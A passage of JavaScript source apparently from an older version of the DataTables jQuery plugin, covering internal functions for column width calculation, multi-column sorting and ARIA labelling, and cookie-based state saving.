var iUserInputs = 0;
var iTmpWidth;
var iVisibleColumns = 0;
var iColums = oSettings.aoColumns.length;
var i, iIndex, iCorrector, iWidth;
var oHeaders = $('th', oSettings.nTHead);
var widthAttr = oSettings.nTable.getAttribute('width');
var nWrapper = oSettings.nTable.parentNode;
/* Convert any user input sizes into pixel sizes */
for ( i=0 ; i<iColums ; i++ )
{
if ( oSettings.aoColumns[i].bVisible )
{
iVisibleColumns++;
if ( oSettings.aoColumns[i].sWidth !== null )
{
iTmpWidth = _fnConvertToWidth( oSettings.aoColumns[i].sWidthOrig,
nWrapper );
if ( iTmpWidth !== null )
{
oSettings.aoColumns[i].sWidth = _fnStringToCss( iTmpWidth );
}
iUserInputs++;
}
}
}
/* If the number of columns in the DOM equals the number that we have to process in
* DataTables, then we can use the offsets that are created by the web-browser. No custom
* sizes can be set in order for this to happen, nor scrolling used
*/
if ( iColums == oHeaders.length && iUserInputs === 0 && iVisibleColumns == iColums &&
oSettings.oScroll.sX === "" && oSettings.oScroll.sY === "" )
{
for ( i=0 ; i<oSettings.aoColumns.length ; i++ )
{
iTmpWidth = $(oHeaders[i]).width();
if ( iTmpWidth !== null )
{
oSettings.aoColumns[i].sWidth = _fnStringToCss( iTmpWidth );
}
}
}
else
{
/* Otherwise we are going to have to do some calculations to get the width of each column.
* Construct a 1 row table with the widest node in the data, and any user defined widths,
* then insert it into the DOM and allow the browser to do all the hard work of
* calculating table widths.
*/
var
nCalcTmp = oSettings.nTable.cloneNode( false ),
nTheadClone = oSettings.nTHead.cloneNode(true),
nBody = document.createElement( 'tbody' ),
nTr = document.createElement( 'tr' ),
nDivSizing;
nCalcTmp.removeAttribute( "id" );
nCalcTmp.appendChild( nTheadClone );
if ( oSettings.nTFoot !== null )
{
nCalcTmp.appendChild( oSettings.nTFoot.cloneNode(true) );
_fnApplyToChildren( function(n) {
n.style.width = "";
}, nCalcTmp.getElementsByTagName('tr') );
}
nCalcTmp.appendChild( nBody );
nBody.appendChild( nTr );
/* Remove any sizing that was previously applied by the styles */
var jqColSizing = $('thead th', nCalcTmp);
if ( jqColSizing.length === 0 )
{
jqColSizing = $('tbody tr:eq(0)>td', nCalcTmp);
}
/* Apply custom sizing to the cloned header */
var nThs = _fnGetUniqueThs( oSettings, nTheadClone );
iCorrector = 0;
for ( i=0 ; i<iColums ; i++ )
{
var oColumn = oSettings.aoColumns[i];
if ( oColumn.bVisible && oColumn.sWidthOrig !== null && oColumn.sWidthOrig !== "" )
{
nThs[i-iCorrector].style.width = _fnStringToCss( oColumn.sWidthOrig );
}
else if ( oColumn.bVisible )
{
nThs[i-iCorrector].style.width = "";
}
else
{
iCorrector++;
}
}
/* Find the biggest td for each column and put it into the table */
for ( i=0 ; i<iColums ; i++ )
{
if ( oSettings.aoColumns[i].bVisible )
{
var nTd = _fnGetWidestNode( oSettings, i );
if ( nTd !== null )
{
nTd = nTd.cloneNode(true);
if ( oSettings.aoColumns[i].sContentPadding !== "" )
{
nTd.innerHTML += oSettings.aoColumns[i].sContentPadding;
}
nTr.appendChild( nTd );
}
}
}
/* Build the table and 'display' it */
nWrapper.appendChild( nCalcTmp );
/* When scrolling (X or Y) we want to set the width of the table as appropriate. However,
* when not scrolling leave the table width as it is. This results in slightly different,
* but I think correct behaviour
*/
if ( oSettings.oScroll.sX !== "" && oSettings.oScroll.sXInner !== "" )
{
nCalcTmp.style.width = _fnStringToCss(oSettings.oScroll.sXInner);
}
else if ( oSettings.oScroll.sX !== "" )
{
nCalcTmp.style.width = "";
if ( $(nCalcTmp).width() < nWrapper.offsetWidth )
{
nCalcTmp.style.width = _fnStringToCss( nWrapper.offsetWidth );
}
}
else if ( oSettings.oScroll.sY !== "" )
{
nCalcTmp.style.width = _fnStringToCss( nWrapper.offsetWidth );
}
else if ( widthAttr )
{
nCalcTmp.style.width = _fnStringToCss( widthAttr );
}
nCalcTmp.style.visibility = "hidden";
/* Scrolling considerations */
_fnScrollingWidthAdjust( oSettings, nCalcTmp );
/* Read the width's calculated by the browser and store them for use by the caller. We
* first of all try to use the elements in the body, but it is possible that there are
* no elements there, under which circumstances we use the header elements
*/
var oNodes = $("tbody tr:eq(0)", nCalcTmp).children();
if ( oNodes.length === 0 )
{
oNodes = _fnGetUniqueThs( oSettings, $('thead', nCalcTmp)[0] );
}
/* Browsers need a bit of a hand when a width is assigned to any columns when
* x-scrolling as they tend to collapse the table to the min-width, even if
* we sent the column widths. So we need to keep track of what the table width
* should be by summing the user given values, and the automatic values
*/
if ( oSettings.oScroll.sX !== "" )
{
var iTotal = 0;
iCorrector = 0;
for ( i=0 ; i<oSettings.aoColumns.length ; i++ )
{
if ( oSettings.aoColumns[i].bVisible )
{
if ( oSettings.aoColumns[i].sWidthOrig === null )
{
iTotal += $(oNodes[iCorrector]).outerWidth();
}
else
{
iTotal += parseInt(oSettings.aoColumns[i].sWidth.replace('px',''), 10) +
($(oNodes[iCorrector]).outerWidth() - $(oNodes[iCorrector]).width());
}
iCorrector++;
}
}
nCalcTmp.style.width = _fnStringToCss( iTotal );
oSettings.nTable.style.width = _fnStringToCss( iTotal );
}
iCorrector = 0;
for ( i=0 ; i<oSettings.aoColumns.length ; i++ )
{
if ( oSettings.aoColumns[i].bVisible )
{
iWidth = $(oNodes[iCorrector]).width();
if ( iWidth !== null && iWidth > 0 )
{
oSettings.aoColumns[i].sWidth = _fnStringToCss( iWidth );
}
iCorrector++;
}
}
var cssWidth = $(nCalcTmp).css('width');
oSettings.nTable.style.width = (cssWidth.indexOf('%') !== -1) ?
cssWidth : _fnStringToCss( $(nCalcTmp).outerWidth() );
nCalcTmp.parentNode.removeChild( nCalcTmp );
}
if ( widthAttr )
{
oSettings.nTable.style.width = _fnStringToCss( widthAttr );
}
}
/**
* Adjust a table's width to take account of scrolling
* @param {object} oSettings dataTables settings object
* @param {node} n table node
* @memberof DataTable#oApi
*/
function _fnScrollingWidthAdjust ( oSettings, n )
{
if ( oSettings.oScroll.sX === "" && oSettings.oScroll.sY !== "" )
{
/* When y-scrolling only, we want to remove the width of the scroll bar so the table
* + scroll bar will fit into the area avaialble.
*/
var iOrigWidth = $(n).width();
n.style.width = _fnStringToCss( $(n).outerWidth()-oSettings.oScroll.iBarWidth );
}
else if ( oSettings.oScroll.sX !== "" )
{
/* When x-scrolling both ways, fix the table at it's current size, without adjusting */
n.style.width = _fnStringToCss( $(n).outerWidth() );
}
}
/**
* Get the widest node
* @param {object} oSettings dataTables settings object
* @param {int} iCol column of interest
* @returns {node} widest table node
* @memberof DataTable#oApi
*/
function _fnGetWidestNode( oSettings, iCol )
{
var iMaxIndex = _fnGetMaxLenString( oSettings, iCol );
if ( iMaxIndex < 0 )
{
return null;
}
if ( oSettings.aoData[iMaxIndex].nTr === null )
{
var n = document.createElement('td');
n.innerHTML = _fnGetCellData( oSettings, iMaxIndex, iCol, '' );
return n;
}
return _fnGetTdNodes(oSettings, iMaxIndex)[iCol];
}
/**
* Get the maximum strlen for each data column
* @param {object} oSettings dataTables settings object
* @param {int} iCol column of interest
* @returns {string} max string length for each column
* @memberof DataTable#oApi
*/
function _fnGetMaxLenString( oSettings, iCol )
{
var iMax = -1;
var iMaxIndex = -1;
for ( var i=0 ; i<oSettings.aoData.length ; i++ )
{
var s = _fnGetCellData( oSettings, i, iCol, 'display' )+"";
s = s.replace( /<.*?>/g, "" );
if ( s.length > iMax )
{
iMax = s.length;
iMaxIndex = i;
}
}
return iMaxIndex;
}
/**
* Append a CSS unit (only if required) to a string
* @param {array} aArray1 first array
* @param {array} aArray2 second array
* @returns {int} 0 if match, 1 if length is different, 2 if no match
* @memberof DataTable#oApi
*/
function _fnStringToCss( s )
{
if ( s === null )
{
return "0px";
}
if ( typeof s == 'number' )
{
if ( s < 0 )
{
return "0px";
}
return s+"px";
}
/* Check if the last character is not 0-9 */
var c = s.charCodeAt( s.length-1 );
if (c < 0x30 || c > 0x39)
{
return s;
}
return s+"px";
}
/**
* Get the width of a scroll bar in this browser being used
* @returns {int} width in pixels
* @memberof DataTable#oApi
*/
function _fnScrollBarWidth ()
{
var inner = document.createElement('p');
var style = inner.style;
style.width = "100%";
style.height = "200px";
style.padding = "0px";
var outer = document.createElement('div');
style = outer.style;
style.position = "absolute";
style.top = "0px";
style.left = "0px";
style.visibility = "hidden";
style.width = "200px";
style.height = "150px";
style.padding = "0px";
style.overflow = "hidden";
outer.appendChild(inner);
document.body.appendChild(outer);
var w1 = inner.offsetWidth;
outer.style.overflow = 'scroll';
var w2 = inner.offsetWidth;
if ( w1 == w2 )
{
w2 = outer.clientWidth;
}
document.body.removeChild(outer);
return (w1 - w2);
}
/**
* Change the order of the table
* @param {object} oSettings dataTables settings object
* @param {bool} bApplyClasses optional - should we apply classes or not
* @memberof DataTable#oApi
*/
function _fnSort ( oSettings, bApplyClasses )
{
var
i, iLen, j, jLen, k, kLen,
sDataType, nTh,
aaSort = [],
aiOrig = [],
oSort = DataTable.ext.oSort,
aoData = oSettings.aoData,
aoColumns = oSettings.aoColumns,
oAria = oSettings.oLanguage.oAria;
/* No sorting required if server-side or no sorting array */
if ( !oSettings.oFeatures.bServerSide &&
(oSettings.aaSorting.length !== 0 || oSettings.aaSortingFixed !== null) )
{
aaSort = ( oSettings.aaSortingFixed !== null ) ?
oSettings.aaSortingFixed.concat( oSettings.aaSorting ) :
oSettings.aaSorting.slice();
/* If there is a sorting data type, and a function belonging to it, then we need to
* get the data from the developer's function and apply it for this column
*/
for ( i=0 ; i<aaSort.length ; i++ )
{
var iColumn = aaSort[i][0];
var iVisColumn = _fnColumnIndexToVisible( oSettings, iColumn );
sDataType = oSettings.aoColumns[ iColumn ].sSortDataType;
if ( DataTable.ext.afnSortData[sDataType] )
{
var aData = DataTable.ext.afnSortData[sDataType].call(
oSettings.oInstance, oSettings, iColumn, iVisColumn
);
if ( aData.length === aoData.length )
{
for ( j=0, jLen=aoData.length ; j<jLen ; j++ )
{
_fnSetCellData( oSettings, j, iColumn, aData[j] );
}
}
else
{
_fnLog( oSettings, 0, "Returned data sort array (col "+iColumn+") is the wrong length" );
}
}
}
/* Create a value - key array of the current row positions such that we can use their
* current position during the sort, if values match, in order to perform stable sorting
*/
for ( i=0, iLen=oSettings.aiDisplayMaster.length ; i<iLen ; i++ )
{
aiOrig[ oSettings.aiDisplayMaster[i] ] = i;
}
/* Build an internal data array which is specific to the sort, so we can get and prep
* the data to be sorted only once, rather than needing to do it every time the sorting
* function runs. This make the sorting function a very simple comparison
*/
var iSortLen = aaSort.length;
var fnSortFormat, aDataSort;
for ( i=0, iLen=aoData.length ; i<iLen ; i++ )
{
for ( j=0 ; j<iSortLen ; j++ )
{
aDataSort = aoColumns[ aaSort[j][0] ].aDataSort;
for ( k=0, kLen=aDataSort.length ; k<kLen ; k++ )
{
sDataType = aoColumns[ aDataSort[k] ].sType;
fnSortFormat = oSort[ (sDataType ? sDataType : 'string')+"-pre" ];
aoData[i]._aSortData[ aDataSort[k] ] = fnSortFormat ?
fnSortFormat( _fnGetCellData( oSettings, i, aDataSort[k], 'sort' ) ) :
_fnGetCellData( oSettings, i, aDataSort[k], 'sort' );
}
}
}
/* Do the sort - here we want multi-column sorting based on a given data source (column)
* and sorting function (from oSort) in a certain direction. It's reasonably complex to
* follow on it's own, but this is what we want (example two column sorting):
* fnLocalSorting = function(a,b){
* var iTest;
* iTest = oSort['string-asc']('data11', 'data12');
* if (iTest !== 0)
* return iTest;
* iTest = oSort['numeric-desc']('data21', 'data22');
* if (iTest !== 0)
* return iTest;
* return oSort['numeric-asc']( aiOrig[a], aiOrig[b] );
* }
* Basically we have a test for each sorting column, if the data in that column is equal,
* test the next column. If all columns match, then we use a numeric sort on the row
* positions in the original data array to provide a stable sort.
*/
oSettings.aiDisplayMaster.sort( function ( a, b ) {
var k, l, lLen, iTest, aDataSort, sDataType;
for ( k=0 ; k<iSortLen ; k++ )
{
aDataSort = aoColumns[ aaSort[k][0] ].aDataSort;
for ( l=0, lLen=aDataSort.length ; l<lLen ; l++ )
{
sDataType = aoColumns[ aDataSort[l] ].sType;
iTest = oSort[ (sDataType ? sDataType : 'string')+"-"+aaSort[k][1] ](
aoData[a]._aSortData[ aDataSort[l] ],
aoData[b]._aSortData[ aDataSort[l] ]
);
if ( iTest !== 0 )
{
return iTest;
}
}
}
return oSort['numeric-asc']( aiOrig[a], aiOrig[b] );
} );
}
/* Alter the sorting classes to take account of the changes */
if ( (bApplyClasses === undefined || bApplyClasses) && !oSettings.oFeatures.bDeferRender )
{
_fnSortingClasses( oSettings );
}
for ( i=0, iLen=oSettings.aoColumns.length ; i<iLen ; i++ )
{
var sTitle = aoColumns[i].sTitle.replace( /<.*?>/g, "" );
nTh = aoColumns[i].nTh;
nTh.removeAttribute('aria-sort');
nTh.removeAttribute('aria-label');
/* In ARIA only the first sorting column can be marked as sorting - no multi-sort option */
if ( aoColumns[i].bSortable )
{
if ( aaSort.length > 0 && aaSort[0][0] == i )
{
nTh.setAttribute('aria-sort', aaSort[0][1]=="asc" ? "ascending" : "descending" );
var nextSort = (aoColumns[i].asSorting[ aaSort[0][2]+1 ]) ?
aoColumns[i].asSorting[ aaSort[0][2]+1 ] : aoColumns[i].asSorting[0];
nTh.setAttribute('aria-label', sTitle+
(nextSort=="asc" ? oAria.sSortAscending : oAria.sSortDescending) );
}
else
{
nTh.setAttribute('aria-label', sTitle+
(aoColumns[i].asSorting[0]=="asc" ? oAria.sSortAscending : oAria.sSortDescending) );
}
}
else
{
nTh.setAttribute('aria-label', sTitle);
}
}
/* Tell the draw function that we have sorted the data */
oSettings.bSorted = true;
$(oSettings.oInstance).trigger('sort', oSettings);
/* Copy the master data into the draw array and re-draw */
if ( oSettings.oFeatures.bFilter )
{
/* _fnFilter() will redraw the table for us */
_fnFilterComplete( oSettings, oSettings.oPreviousSearch, 1 );
}
else
{
oSettings.aiDisplay = oSettings.aiDisplayMaster.slice();
oSettings._iDisplayStart = 0; /* reset display back to page 0 */
_fnCalculateEnd( oSettings );
_fnDraw( oSettings );
}
}
/**
* Attach a sort handler (click) to a node
* @param {object} oSettings dataTables settings object
* @param {node} nNode node to attach the handler to
* @param {int} iDataIndex column sorting index
* @param {function} [fnCallback] callback function
* @memberof DataTable#oApi
*/
function _fnSortAttachListener ( oSettings, nNode, iDataIndex, fnCallback )
{
_fnBindAction( nNode, {}, function (e) {
/* If the column is not sortable - don't to anything */
if ( oSettings.aoColumns[iDataIndex].bSortable === false )
{
return;
}
/*
* This is a little bit odd I admit... I declare a temporary function inside the scope of
* _fnBuildHead and the click handler in order that the code presented here can be used
* twice - once for when bProcessing is enabled, and another time for when it is
* disabled, as we need to perform slightly different actions.
* Basically the issue here is that the Javascript engine in modern browsers don't
* appear to allow the rendering engine to update the display while it is still executing
* it's thread (well - it does but only after long intervals). This means that the
* 'processing' display doesn't appear for a table sort. To break the js thread up a bit
* I force an execution break by using setTimeout - but this breaks the expected
* thread continuation for the end-developer's point of view (their code would execute
* too early), so we only do it when we absolutely have to.
*/
var fnInnerSorting = function () {
var iColumn, iNextSort;
/* If the shift key is pressed then we are multiple column sorting */
if ( e.shiftKey )
{
/* Are we already doing some kind of sort on this column? */
var bFound = false;
for ( var i=0 ; i<oSettings.aaSorting.length ; i++ )
{
if ( oSettings.aaSorting[i][0] == iDataIndex )
{
bFound = true;
iColumn = oSettings.aaSorting[i][0];
iNextSort = oSettings.aaSorting[i][2]+1;
if ( !oSettings.aoColumns[iColumn].asSorting[iNextSort] )
{
/* Reached the end of the sorting options, remove from multi-col sort */
oSettings.aaSorting.splice( i, 1 );
}
else
{
/* Move onto next sorting direction */
oSettings.aaSorting[i][1] = oSettings.aoColumns[iColumn].asSorting[iNextSort];
oSettings.aaSorting[i][2] = iNextSort;
}
break;
}
}
/* No sort yet - add it in */
if ( bFound === false )
{
oSettings.aaSorting.push( [ iDataIndex,
oSettings.aoColumns[iDataIndex].asSorting[0], 0 ] );
}
}
else
{
/* If no shift key then single column sort */
if ( oSettings.aaSorting.length == 1 && oSettings.aaSorting[0][0] == iDataIndex )
{
iColumn = oSettings.aaSorting[0][0];
iNextSort = oSettings.aaSorting[0][2]+1;
if ( !oSettings.aoColumns[iColumn].asSorting[iNextSort] )
{
iNextSort = 0;
}
oSettings.aaSorting[0][1] = oSettings.aoColumns[iColumn].asSorting[iNextSort];
oSettings.aaSorting[0][2] = iNextSort;
}
else
{
oSettings.aaSorting.splice( 0, oSettings.aaSorting.length );
oSettings.aaSorting.push( [ iDataIndex,
oSettings.aoColumns[iDataIndex].asSorting[0], 0 ] );
}
}
/* Run the sort */
_fnSort( oSettings );
}; /* /fnInnerSorting */
if ( !oSettings.oFeatures.bProcessing )
{
fnInnerSorting();
}
else
{
_fnProcessingDisplay( oSettings, true );
setTimeout( function() {
fnInnerSorting();
if ( !oSettings.oFeatures.bServerSide )
{
_fnProcessingDisplay( oSettings, false );
}
}, 0 );
}
/* Call the user specified callback function - used for async user interaction */
if ( typeof fnCallback == 'function' )
{
fnCallback( oSettings );
}
} );
}
/**
* Set the sorting classes on the header, Note: it is safe to call this function
* when bSort and bSortClasses are false
* @param {object} oSettings dataTables settings object
* @memberof DataTable#oApi
*/
function _fnSortingClasses( oSettings )
{
var i, iLen, j, jLen, iFound;
var aaSort, sClass;
var iColumns = oSettings.aoColumns.length;
var oClasses = oSettings.oClasses;
for ( i=0 ; i<iColumns ; i++ )
{
if ( oSettings.aoColumns[i].bSortable )
{
$(oSettings.aoColumns[i].nTh).removeClass( oClasses.sSortAsc +" "+ oClasses.sSortDesc +
" "+ oSettings.aoColumns[i].sSortingClass );
}
}
if ( oSettings.aaSortingFixed !== null )
{
aaSort = oSettings.aaSortingFixed.concat( oSettings.aaSorting );
}
else
{
aaSort = oSettings.aaSorting.slice();
}
/* Apply the required classes to the header */
for ( i=0 ; i<oSettings.aoColumns.length ; i++ )
{
if ( oSettings.aoColumns[i].bSortable )
{
sClass = oSettings.aoColumns[i].sSortingClass;
iFound = -1;
for ( j=0 ; j<aaSort.length ; j++ )
{
if ( aaSort[j][0] == i )
{
sClass = ( aaSort[j][1] == "asc" ) ?
oClasses.sSortAsc : oClasses.sSortDesc;
iFound = j;
break;
}
}
$(oSettings.aoColumns[i].nTh).addClass( sClass );
if ( oSettings.bJUI )
{
/* jQuery UI uses extra markup */
var jqSpan = $("span."+oClasses.sSortIcon, oSettings.aoColumns[i].nTh);
jqSpan.removeClass(oClasses.sSortJUIAsc +" "+ oClasses.sSortJUIDesc +" "+
oClasses.sSortJUI +" "+ oClasses.sSortJUIAscAllowed +" "+ oClasses.sSortJUIDescAllowed );
var sSpanClass;
if ( iFound == -1 )
{
sSpanClass = oSettings.aoColumns[i].sSortingClassJUI;
}
else if ( aaSort[iFound][1] == "asc" )
{
sSpanClass = oClasses.sSortJUIAsc;
}
else
{
sSpanClass = oClasses.sSortJUIDesc;
}
jqSpan.addClass( sSpanClass );
}
}
else
{
/* No sorting on this column, so add the base class. This will have been assigned by
* _fnAddColumn
*/
$(oSettings.aoColumns[i].nTh).addClass( oSettings.aoColumns[i].sSortingClass );
}
}
/*
* Apply the required classes to the table body
* Note that this is given as a feature switch since it can significantly slow down a sort
* on large data sets (adding and removing of classes is always slow at the best of times..)
* Further to this, note that this code is admittedly fairly ugly. It could be made a lot
* simpler using jQuery selectors and add/removeClass, but that is significantly slower
* (on the order of 5 times slower) - hence the direct DOM manipulation here.
* Note that for deferred drawing we do use jQuery - the reason being that taking the first
* row found to see if the whole column needs processed can miss classes since the first
* column might be new.
*/
sClass = oClasses.sSortColumn;
if ( oSettings.oFeatures.bSort && oSettings.oFeatures.bSortClasses )
{
var nTds = _fnGetTdNodes( oSettings );
/* Determine what the sorting class for each column should be */
var iClass, iTargetCol;
var asClasses = [];
for (i = 0; i < iColumns; i++)
{
asClasses.push("");
}
for (i = 0, iClass = 1; i < aaSort.length; i++)
{
iTargetCol = parseInt( aaSort[i][0], 10 );
asClasses[iTargetCol] = sClass + iClass;
if ( iClass < 3 )
{
iClass++;
}
}
/* Make changes to the classes for each cell as needed */
var reClass = new RegExp(sClass + "[123]");
var sTmpClass, sCurrentClass, sNewClass;
for ( i=0, iLen=nTds.length; i<iLen; i++ )
{
/* Determine which column we're looking at */
iTargetCol = i % iColumns;
/* What is the full list of classes now */
sCurrentClass = nTds[i].className;
/* What sorting class should be applied? */
sNewClass = asClasses[iTargetCol];
/* What would the new full list be if we did a replacement? */
sTmpClass = sCurrentClass.replace(reClass, sNewClass);
if ( sTmpClass != sCurrentClass )
{
/* We changed something */
nTds[i].className = $.trim( sTmpClass );
}
else if ( sNewClass.length > 0 && sCurrentClass.indexOf(sNewClass) == -1 )
{
/* We need to add a class */
nTds[i].className = sCurrentClass + " " + sNewClass;
}
}
}
}
/**
* Save the state of a table in a cookie such that the page can be reloaded
* @param {object} oSettings dataTables settings object
* @memberof DataTable#oApi
*/
function _fnSaveState ( oSettings )
{
if ( !oSettings.oFeatures.bStateSave || oSettings.bDestroying )
{
return;
}
/* Store the interesting variables */
var i, iLen, bInfinite=oSettings.oScroll.bInfinite;
var oState = {
"iCreate": new Date().getTime(),
"iStart": (bInfinite ? 0 : oSettings._iDisplayStart),
"iEnd": (bInfinite ? oSettings._iDisplayLength : oSettings._iDisplayEnd),
"iLength": oSettings._iDisplayLength,
"aaSorting": $.extend( true, [], oSettings.aaSorting ),
"oSearch": $.extend( true, {}, oSettings.oPreviousSearch ),
"aoSearchCols": $.extend( true, [], oSettings.aoPreSearchCols ),
"abVisCols": []
};
for ( i=0, iLen=oSettings.aoColumns.length ; i<iLen ; i++ )
{
oState.abVisCols.push( oSettings.aoColumns[i].bVisible );
}
_fnCallbackFire( oSettings, "aoStateSaveParams", 'stateSaveParams', [oSettings, oState] );
oSettings.fnStateSave.call( oSettings.oInstance, oSettings, oState );
}
/**
* Attempt to load a saved table state from a cookie
* @param {object} oSettings dataTables settings object
* @param {object} oInit DataTables init object so we can override settings
* @memberof DataTable#oApi
*/
function _fnLoadState ( oSettings, oInit )
{
if ( !oSettings.oFeatures.bStateSave )
{
return;
}
var oData = oSettings.fnStateLoad.call( oSettings.oInstance, oSettings );
if ( !oData )
{
return;
}
/* Allow custom and plug-in manipulation functions to alter the saved data set and
* cancelling of loading by returning false
*/
var abStateLoad = _fnCallbackFire( oSettings, 'aoStateLoadParams', 'stateLoadParams', [oSettings, oData] );
if ( $.inArray( false, abStateLoad ) !== -1 )
{
return;
}
/* Store the saved state so it might be accessed at any time */
oSettings.oLoadedState = $.extend( true, {}, oData );
/* Restore key features */
oSettings._iDisplayStart = oData.iStart;
oSettings.iInitDisplayStart = oData.iStart;
oSettings._iDisplayEnd = oData.iEnd;
oSettings._iDisplayLength = oData.iLength;
oSettings.aaSorting = oData.aaSorting.slice();
oSettings.saved_aaSorting = oData.aaSorting.slice();
/* Search filtering */
$.extend( oSettings.oPreviousSearch, oData.oSearch );
$.extend( true, oSettings.aoPreSearchCols, oData.aoSearchCols );
/* Column visibility state
* Pass back visibility settings to the init handler, but to do not here override
* the init object that the user might have passed in
*/
oInit.saved_aoColumns = [];
for ( var i=0 ; i<oData.abVisCols.length ; i++ )
{
oInit.saved_aoColumns[i] = {};
oInit.saved_aoColumns[i].bVisible = oData.abVisCols[i];
}
_fnCallbackFire( oSettings, 'aoStateLoaded', 'stateLoaded', [oSettings, oData] );
}
/**
* Create a new cookie with a value to store the state of a table
* @param {string} sName name of the cookie to create
* @param {string} sValue the value the cookie should take
* @param {int} iSecs duration of the cookie
* @param {string} sBaseName sName is made up of the base + file name - this is the base
* @param {function} fnCallback User definable function to modify the cookie
* @memberof DataTable#oApi
*/
function _fnCreateCookie ( sName, sValue, iSecs, sBaseName, fnCallback )
{
var date = new Date();
date.setTime( date.getTime()+(iSecs*1000) );
/*
* Shocking but true - it would appear IE has major issues with having the path not having
* a trailing slash on it. We need the cookie to be available based on the path, so we
* have to append the file name to the cookie name. Appalling. Thanks to vex for adding the
* patch to use at least some of the path
*/
var aParts = window.location.pathname.split('/');
var sNameFile = sName + '_' + aParts.pop().replace(/[\/:]/g,"").toLowerCase();
var sFullCookie, oData;
if ( fnCallback !== null )
{
oData = (typeof $.parseJSON === 'function') ?
$.parseJSON( sValue ) : eval( '('+sValue+')' );
sFullCookie = fnCallback( sNameFile, oData, date.toGMTString(),
aParts.join('/')+"/" );
}
else
{
sFullCookie = sNameFile + "=" + encodeURIComponent(sValue) +
"; expires=" + date.toGMTString() +"; path=" + aParts.join('/')+"/";
}
/* Are we going to go over the cookie limit of 4KiB? If so, try to delete a cookies
* belonging to DataTables.
*/
var
aCookies =document.cookie.split(';'),
iNewCookieLen = sFullCookie.split(';')[0].length,
aOldCookies = [];
if ( iNewCookieLen+document.cookie.length+10 > 4096 ) /* Magic 10 for padding */
{
for ( var i=0, iLen=aCookies.length ; i<iLen ; i++ )
{
if ( aCookies[i].indexOf( sBaseName ) != -1 )
{
/* It's a DataTables cookie, so eval it and check the time stamp */
var aSplitCookie = aCookies[i].split('=');
try {
oData = eval( '('+decodeURIComponent(aSplitCookie[1])+')' );
if ( oData && oData.iCreate )
{
aOldCookies.push( {
"name": aSplitCookie[0],
"time": oData.iCreate
} );
}
}
catch( e ) {}
}
}
// Make sure we delete the oldest ones first
aOldCookies.sort( function (a, b) {
return b.time - a.time;
} );
// Eliminate as many old DataTables cookies as we need to
while ( iNewCookieLen + document.cookie.length + 10 > 4096 ) {
if ( aOldCookies.length === 0 ) {
// Deleted all DT cookies and still not enough space. Can't state save
return;
}
var old = aOldCookies.pop();
document.cookie = old.name+"=; expires=Thu, 01-Jan-1970 00:00:01 GMT; path="+
aParts.join('/') + "/";
}
}
document.cookie = sFullCookie;
}
/**
* Read an old cookie to get a cookie with an old table state
* @param {string} sName name of the cookie to read
* @returns {string} contents of the cookie - or null if no cookie with that name found
* @memberof DataTable#oApi
*/
function _fnReadCookie ( sName )
{
var
aParts = window.location.pathname.split('/'),
sNameEQ = sName + '_' + aParts[aParts.length-1].replace(/[\/:]/g,"").toLowerCase() + '=',
sCookieContents = document.cookie.split(';');
for( var i=0 ; i<sCookieContents.length ; i++ )
{
var c = sCookieContents[i];
while (c.charAt(0)==' ')
{
c = c.substring(1,c.length);
}
if (c.indexOf(sNameEQ) === 0)
{
return decodeURIComponent( c.substring(sNameEQ.length,c.length) );
}
}
return null;
}
/**
* Return the settings object for a particular table
* @param {node} nTable table we are using as a dataTable
* @returns {object} Settings object - or null if not found
* @memberof DataTable#oApi
*/
function _fnSettingsFromNode ( nTable )
{
for ( var i=0 ; i<DataTable.settings.length ; i++ )
{
if ( DataTable.settings[i].nTable === nTable )
{
return DataTable.settings[i];
}
}
return null;
}
/**
* Return an array with the TR nodes for the table
* @param {object} oSettings dataTables settings object
* @returns {array} TR array
* @memberof DataTable#oApi
*/
function _fnGetTrNodes ( oSettings )
{
var aNodes = [];
var aoData = oSettings.aoData;
for ( var i=0, iLen=aoData.length ; i<iLen ; i++ )
{
if ( aoData[i].nTr !== null )
{
aNodes.push( aoData[i].nTr );
}
}
return aNodes;
}
/**
* Return an flat array with all TD nodes for the table, or row
* @param {object} oSettings dataTables settings object
* @param {int} [iIndividualRow] aoData index to get the nodes for - optional
* if not given then the return array will contain all nodes for the table
* @returns {array} TD array
* @memberof DataTable#oApi
*/
function _fnGetTdNodes ( oSettings, iIndividualRow )
{
var anReturn = [];
var iCorrector;
var anTds, nTd;
var iRow, iRows=oSettings.aoData.length,
iColumn, iColumns, oData, sNodeName, iStart=0, iEnd=iRows;
/* Allow the collection to be limited to just one row */
if ( iIndividualRow !== undefined )
{
iStart = iIndividualRow;
iEnd = iIndividualRow+1;
}
for ( iRow=iStart ; iRow<iEnd ; iRow++ )
{
oData = oSettings.aoData[iRow];
if ( oData.nTr !== null )
{
/* get the TD child nodes - taking into account text etc nodes */
anTds = [];
nTd = oData.nTr.firstChild;
while ( nTd )
{
sNodeName = nTd.nodeName.toLowerCase();
if ( sNodeName == 'td' || sNodeName == 'th' )
{
anTds.push( nTd );
}
nTd = nTd.nextSibling;
}
iCorrector = 0;
for ( iColumn=0, iColumns=oSettings.aoColumns.length ; iColumn<iColumns ; iColumn++ )
{
if ( oSettings.aoColumns[iColumn].bVisible )
{
anReturn.push( anTds[iColumn-iCorrector] );
}
else
{
anReturn.push( oData._anHidden[iColumn] );
iCorrector++;
}
}
}
}
return anReturn;
}
/**
* Log an error message
* @param {object} oSettings dataTables settings object
* @param {int} iLevel log error messages, or display them to the user
* @param {string} sMesg error message
* @memberof DataTable#oApi
*/
function _fnLog( oSettings, iLevel, sMesg )
{
var sAlert = (oSettings===null) ?
"DataTables warning: "+sMesg :
"DataTables warning (table id = '"+oSettings.sTableId+"'): "+sMesg;
if ( iLevel === 0 )
{
if ( DataTable.ext.sErrMode == 'alert' )
{
alert( sAlert );
}
else
{
throw new Error(sAlert);
}
return;
}
else if ( window.console && console.log )
{
console.log( sAlert );
}
}
/**
* See if a property is defined on one object, if so assign it to the other object
* @param {object} oRet target object
* @param {object} oSrc source object
* @param {string} sName property
* @param {string} [sMappedName] name to map too - optional, sName used if not given
* @memberof DataTable#oApi
*/
function _fnMap( oRet, oSrc, sName, sMappedName )
{
if ( sMappedName === undefined )
{
sMappedName = sName;
}
if ( oSrc[sName] !== undefined )
{
oRet[sMappedName] = oSrc[sName];
}
}
/**
* Extend objects - very similar to jQuery.extend, but deep copy objects, and shallow
* copy arrays. The reason we need to do this, is that we don't want to deep copy array
* init values (such as aaSorting) since the dev wouldn't be able to override them, but
* we do want to deep copy arrays.
* @param {object} oOut Object to extend
* @param {object} oExtender Object from which the properties will be applied to oOut
* @returns {object} oOut Reference, just for convenience - oOut === the return.
* @memberof DataTable#oApi
